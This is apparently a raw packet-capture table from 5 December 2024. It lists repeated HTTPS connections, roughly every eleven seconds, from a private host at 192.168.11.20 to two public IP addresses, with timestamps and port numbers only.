Dec 5, 2024 17:06:11.573643923 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.573707104 CET	443	49785	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:11.855062008 CET	443	49785	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:11.855256081 CET	443	49785	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:11.855272055 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.855506897 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.855576992 CET	49785	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:11.855629921 CET	443	49785	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:11.862894058 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:11.863002062 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:11.863318920 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:11.863437891 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:11.863472939 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.134929895 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.135263920 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.135680914 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.135749102 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.135771036 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.135790110 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.449760914 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.449968100 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.450057983 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.450124025 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.450150967 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.450192928 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.450356007 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.450613976 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.450614929 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:12.450671911 CET	443	49786	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:12.450831890 CET	49786	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:22.471076965 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:22.471185923 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:22.471765995 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:22.471765995 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:22.471920013 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:22.746696949 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:22.746926069 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:22.747303963 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:22.747345924 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:22.747467041 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:22.747510910 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:23.018071890 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:23.018280983 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:23.018322945 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:23.018484116 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:23.018484116 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:23.018534899 CET	443	49787	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:23.018589973 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:23.018795013 CET	49787	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:23.025353909 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.025434971 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.025691032 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.025809050 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.025842905 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.299158096 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.299411058 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.299829960 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.299900055 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.299925089 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.299942970 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.624998093 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.625211000 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.625236034 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.625299931 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.625406981 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.625439882 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.625497103 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.625699997 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.625869036 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.625909090 CET	443	49788	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:23.625926018 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:23.626013041 CET	49788	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:33.640361071 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:33.640469074 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:33.640772104 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:33.640892982 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:33.640928984 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:33.913292885 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:33.913547039 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:33.913935900 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:33.913979053 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:33.914108992 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:33.914153099 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:34.189876080 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:34.190073013 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:34.190139055 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:34.190326929 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:34.190326929 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:34.197195053 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.197305918 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.197587967 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.197750092 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.197802067 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.469453096 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.469671011 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.469957113 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.470001936 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.470046997 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.470072985 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.498760939 CET	49789	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:34.498841047 CET	443	49789	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:34.789149046 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.789268017 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.789365053 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.789424896 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.789442062 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.789705992 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.789828062 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:34.790018082 CET	443	49790	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:34.790235996 CET	49790	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:44.809979916 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:44.810091972 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:44.810312986 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:44.810513020 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:44.810550928 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:45.083823919 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:45.084024906 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:45.084327936 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:45.084376097 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:45.084470034 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:45.084521055 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:45.359512091 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:45.359760046 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:45.359765053 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:45.360001087 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:45.360093117 CET	49791	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:45.360152006 CET	443	49791	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:45.367312908 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.367424011 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.367727995 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.367846966 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.367885113 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.634264946 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.634464979 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.634623051 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.635725021 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.635740042 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.636053085 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.636281013 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.636599064 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.678261995 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.949985981 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.950042009 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.950310946 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.950314999 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:45.950491905 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.950493097 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.950737000 CET	49792	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:45.950756073 CET	443	49792	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:55.963562012 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:55.963603973 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:55.963865995 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:55.964088917 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:55.964098930 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:56.233535051 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:56.233769894 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:56.234112978 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:56.234144926 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:56.234266043 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:56.234302998 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:56.506918907 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:56.506969929 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:56.507188082 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:56.507361889 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:56.507361889 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:56.507421970 CET	443	49793	142.250.217.238	192.168.11.20
Dec 5, 2024 17:06:56.507630110 CET	49793	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:06:56.513885021 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:56.513978004 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:56.514239073 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:56.514467955 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:56.514517069 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:56.785268068 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:56.785548925 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:56.785851955 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:56.785895109 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:56.785928965 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:56.785950899 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:57.095573902 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:57.095765114 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:57.095799923 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:57.095819950 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:57.095927000 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:57.095977068 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:57.096010923 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:57.096123934 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:57.096148014 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:57.096277952 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:57.096323967 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:57.096551895 CET	443	49794	142.250.64.193	192.168.11.20
Dec 5, 2024 17:06:57.097318888 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:06:57.097318888 CET	49794	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:07.117338896 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.117432117 CET	443	49795	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:07.117655039 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.117830992 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.117906094 CET	443	49795	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:07.384371996 CET	443	49795	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:07.384567022 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.384916067 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.384923935 CET	443	49795	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:07.385018110 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.385027885 CET	443	49795	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:07.657526016 CET	443	49795	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:07.657584906 CET	443	49795	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:07.657820940 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.657820940 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.657850027 CET	49795	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:07.661304951 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:07.661329031 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:07.661515951 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:07.661676884 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:07.661689997 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.045742989 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.045952082 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:08.046190977 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:08.046195984 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.046350002 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:08.046360016 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.376636982 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.376672029 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.376887083 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:08.376903057 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.377089977 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:08.377310038 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:08.377357960 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.377485037 CET	443	49796	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:08.377594948 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:08.377669096 CET	49796	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:18.380565882 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:18.380630016 CET	443	49797	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:18.380812883 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:18.380995035 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:18.381030083 CET	443	49797	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:18.769385099 CET	443	49797	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:18.769625902 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:18.769923925 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:18.769938946 CET	443	49797	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:18.769995928 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:18.770005941 CET	443	49797	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:19.045032024 CET	443	49797	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:19.045207977 CET	443	49797	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:19.045270920 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:19.045330048 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:19.045330048 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:19.045375109 CET	49797	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:19.053487062 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.053523064 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.053705931 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.053889036 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.053908110 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.327877045 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.328082085 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.329265118 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.329276085 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.329643965 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.329888105 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.330138922 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.370208979 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.652801991 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.652915001 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.652985096 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:19.653039932 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.653141022 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.653620005 CET	49798	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:19.653647900 CET	443	49798	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:29.659518957 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:29.659631014 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:29.659946918 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:29.660068035 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:29.660106897 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:29.933001995 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:29.933295965 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:29.933738947 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:29.933809996 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:29.933834076 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:29.933856964 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:30.208960056 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:30.209132910 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:30.209148884 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:30.209356070 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:30.209455967 CET	49799	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:30.209501982 CET	443	49799	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:30.228431940 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.228518009 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.228751898 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.228902102 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.228946924 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.500113964 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.500330925 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.500617981 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.500659943 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.500756025 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.500806093 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.841120005 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.841240883 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.841362000 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.841418982 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.841449976 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.841662884 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.841809988 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:30.842000961 CET	443	49800	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:30.842222929 CET	49800	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:40.844558954 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:40.844669104 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:40.844990969 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:40.845110893 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:40.845148087 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.118032932 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.118283033 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.118717909 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.118786097 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.118808985 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.118828058 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.396388054 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.396621943 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.396676064 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.396857023 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.397011995 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.397047997 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.397192001 CET	443	49801	142.250.217.238	192.168.11.20
Dec 5, 2024 17:07:41.397247076 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.397306919 CET	49801	443	192.168.11.20	142.250.217.238
Dec 5, 2024 17:07:41.408762932 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.408840895 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.409035921 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.409259081 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.409310102 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.683393002 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.683690071 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.685170889 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.685244083 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.686384916 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.686625957 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.686919928 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.730439901 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.987101078 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.987281084 CET	443	49802	142.250.64.193	192.168.11.20
Dec 5, 2024 17:07:41.987341881 CET	49802	443	192.168.11.20	142.250.64.193
Dec 5, 2024 17:07:41.987406015 CET	443	49802	142.250.64.193	192.168.11.20
